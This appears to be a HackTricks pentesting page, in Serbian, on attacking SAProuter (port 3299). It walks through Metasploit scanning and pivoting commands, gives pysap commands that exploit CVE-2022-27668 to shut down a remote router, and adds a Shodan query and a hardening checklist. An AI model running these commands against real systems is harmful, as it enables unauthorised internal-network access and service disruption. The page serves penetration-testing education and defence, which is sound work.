# # 3299/tcp - Pentesting SAProuter {{#include ../banners/hacktricks-training.md}} ```text PORT STATE SERVICE VERSION 3299/tcp open saprouter? ``` Ovo je sažetak posta sa [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) ## Razumevanje penetracije SAProuter-a sa Metasploit-om SAProuter deluje kao obrnuti proxy za SAP sisteme, prvenstveno za kontrolu pristupa između interneta i internih SAP mreža. Obično je izložen internetu omogućavanjem TCP porta 3299 kroz organizacione vatrozidove. Ova postavka čini SAProuter privlačnom metom za pentesting jer može poslužiti kao prolaz ka mrežama visoke vrednosti. **Skener i prikupljanje informacija** U početku se vrši skeniranje kako bi se utvrdilo da li SAP router radi na datoj IP adresi koristeći **sap_service_discovery** modul. Ovaj korak je ključan za utvrđivanje prisustva SAP router-a i njegovog otvorenog porta. ```text msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 msf auxiliary(sap_service_discovery) > run ``` Nakon otkrića, sprovodi se dalja istraga konfiguracije SAP rutera pomoću **sap_router_info_request** modula kako bi se potencijalno otkrili detalji interne mreže. ```text msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 msf auxiliary(sap_router_info_request) > run ``` **Enumerating Internal Services** Sa dobijenim uvidima u unutrašnju mrežu, **sap_router_portscanner** modul se koristi za ispitivanje unutrašnjih hostova i usluga putem SAProuter-a, omogućavajući dublje razumevanje unutrašnjih mreža i konfiguracija usluga. ```text msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 msf auxiliary(sap_router_portscanner) > set PORTS 32NN ``` Ova modulova fleksibilnost u ciljanju specifičnih SAP instanci i portova čini ga efikasnim alatom za detaljno istraživanje interne mreže. **Napredna enumeracija i mapiranje ACL-a** Dalje skeniranje može otkriti kako su Access Control Lists (ACLs) konfigurisane na SAProuter-u, detaljno prikazujući koje su veze dozvoljene ili blokirane. Ove informacije su ključne za razumevanje bezbednosnih politika i potencijalnih ranjivosti. ```text msf auxiliary(sap_router_portscanner) > set MODE TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN ``` **Blind Enumeration of Internal Hosts** U scenarijima gde su direktne informacije iz SAProuter-a ograničene, tehnike poput slepe enumeracije mogu se primeniti. Ovaj pristup pokušava da pogodi i verifikuje postojanje internih imena hostova, otkrivajući potencijalne mete bez direktnih IP adresa. **Leveraging Information for Penetration Testing** Nakon što su mapirali mrežu i identifikovali dostupne usluge, pen-testeri mogu iskoristiti proxy mogućnosti Metasploit-a da pređu kroz SAProuter za dalju eksploraciju i eksploataciju internih SAP usluga. ```text msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 msf auxiliary(sap_hostctrl_getcomputersystem) > run ``` **Zaključak** Ovaj pristup naglašava važnost sigurnih SAProuter konfiguracija i ističe potencijal za pristup unutrašnjim mrežama kroz ciljani pentesting. Pravilno osiguranje SAP rutera i razumevanje njihove uloge u arhitekturi mrežne sigurnosti je ključno za zaštitu od neovlašćenog pristupa. Za detaljnije informacije o Metasploit modulima i njihovoj upotrebi, posetite [Rapid7's database](http://www.rapid7.com/db). --- ## Nedavne ranjivosti (2022-2025) ### CVE-2022-27668 – Nepravilna kontrola pristupa ➜ Daljinsko izvršavanje administrativnih komandi U junu 2022. SAP je objavio Bezbednosnu belešku **3158375** koja se bavi kritičnom greškom (CVSS 9.8) u SAProuter-u (svi kerneli ≥ 7.22). Neautentifikovani napadač može zloupotrebiti permisivne `saprouttab` unose da **pošalje administrativne pakete** (npr. *shutdown*, *trace-level*, *connection-kill*) sa udaljenog hosta, čak i kada je ruter pokrenut bez `-X` opcije za daljinsku administraciju. Problem proizilazi iz mogućnosti izgradnje tunela do rutera vlastitog loopback interfejsa ciljanjem neodređene adrese **0.0.0.0**. Kada se tunel uspostavi, napadač dobija privilegije lokalnog hosta i može izvršiti bilo koju administrativnu komandu. Praktična eksploatacija može se reprodukovati pomoću **pysap** okvira: ```bash # 1. Build a loopback tunnel through the vulnerable SAProuter python router_portfw.py -d -p 3299 \ -t 0.0.0.0 -r 3299 \ -a 127.0.0.1 -l 3299 -v # 2. Send an admin packet (here: stop the remote router) python router_admin.py -s -d 127.0.0.1 -p 3299 ``` **Zahvaćene verzije** * Samostalni SAProuter 7.22 / 7.53 * Kernel 7.49, 7.77, 7.81, 7.85–7.88 (uključujući KRNL64NUC/UC) **Rešenje / Ublažavanje** 1. Primeni zakrpu isporučenu sa SAP beleškom **3158375**. 2. Ukloni wildcard (`*`) ciljeve iz `P` i `S` linija u `saprouttab`. 3. Uveri se da je ruter pokrenut **bez** `-X` opcije i da **nije** direktno izložen internetu. --- ## Ažurirani alati i trikovi * **pysap** – aktivno održavan i pruža `router_portfw.py`, `router_admin.py` i `router_trace.py` za kreiranje prilagođenih NI/Router paketa, fuzzing ACL-ova ili automatizaciju CVE-2022-27668 eksploata. * **Nmap** – proširi detekciju usluga dodavanjem prilagođene SAProuter probe: ```text Probe TCP SAProuter q|\x00\x00\x00\x00| ports 3299 match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/ ``` Kombinuj sa NSE skriptama ili `--script=banner` za brzo prepoznavanje verzija koje otkrivaju banner string (`SAProuter on ''`). * **Metasploit** – pomoćni moduli prikazani iznad i dalje rade kroz SOCKS ili NI proxy kreiran sa pysap, omogućavajući potpunu integraciju okvira čak i kada ruter blokira direktan pristup. --- ## Lista za učvršćivanje i detekciju * Filtriraj port **3299/TCP** na perimetarskom firewall-u – dozvoli saobraćaj samo iz pouzdanih SAP podržanih mreža. * Drži SAProuter **potpuno zakrpljenim**; proveri sa `saprouter -v` i uporedi sa najnovijim nivoom zakrpe kernela. * Koristi **stroge, specifične za host** unose u `saprouttab`; izbegavaj `*` wildcards i odbijaj `P`/`S` pravila koja ciljaju proizvoljne hostove ili portove. * Pokreni uslugu sa **`-S ` + SNC** da bi se primenila enkripcija i uzajamna autentifikacija. * Onemogući daljinsku administraciju (`-X`) i, ako je moguće, poveži slušalac na `127.0.0.1` dok koristiš eksterni obrnuti proxy za potreban saobraćaj. * Prati **dev_rout** log za sumnjive `ROUTER_ADM` pakete ili neočekivane `NI_ROUTE` zahteve ka `0.0.0.0`. --- ## **Reference** - [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/) - [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/) ## Shodan - `port:3299 !HTTP Network packet too big` {{#include ../banners/hacktricks-training.md}}